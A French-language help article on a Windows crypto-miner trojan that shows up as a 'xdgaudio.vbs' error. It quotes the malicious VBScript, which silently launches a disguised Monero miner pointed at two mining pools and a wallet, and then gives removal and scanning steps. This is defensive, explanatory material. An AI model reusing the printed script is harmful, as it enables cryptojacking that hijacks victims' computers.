Si vous recevez le message d'erreur suivant lié à "xdgaudio.vbs" dans votre système, votre ordinateur est probablement infecté.
Script: C: \ windows \ xdgaudio.vbsLigne: 3
Caractère: 1
Erreur: le système ne trouve pas le fichier spécifié.
Code: 80070002
Source: (null)
Lorsqu'il est modifié avec le Bloc-notes, le script peut contenir des lignes comme ci-dessous:
Dim WShell Set WShell = CreateObject("WScript.Shell") WShell.Run "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -px -k -o stratum+tcp://mine.moneropool.com:3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -px", 0 Set WShell = Nothing
Cela ressemble certainement à un cheval de Troie Miner CPU / crypto-monnaie qui non seulement ralentit votre ordinateur, mais peut également constituer une menace pour la sécurité. Les fichiers de script c: \ windows \ xdgaudio.vbs et c: \ windows \ servicecrsssr.vbs doivent être supprimés. Ce n'est pas assez. Exécutez une analyse approfondie à l'aide de l'antimalware Malwarebytes et effectuez également une analyse avec le logiciel antivirus que vous utilisez.
Pour obtenir des instructions détaillées sur la suppression d'un tel cheval de Troie Miner, consultez le guide malwaretips.com Comment supprimer le cheval de Troie Miner CPU de Windows (Guide d'aide sur les virus) .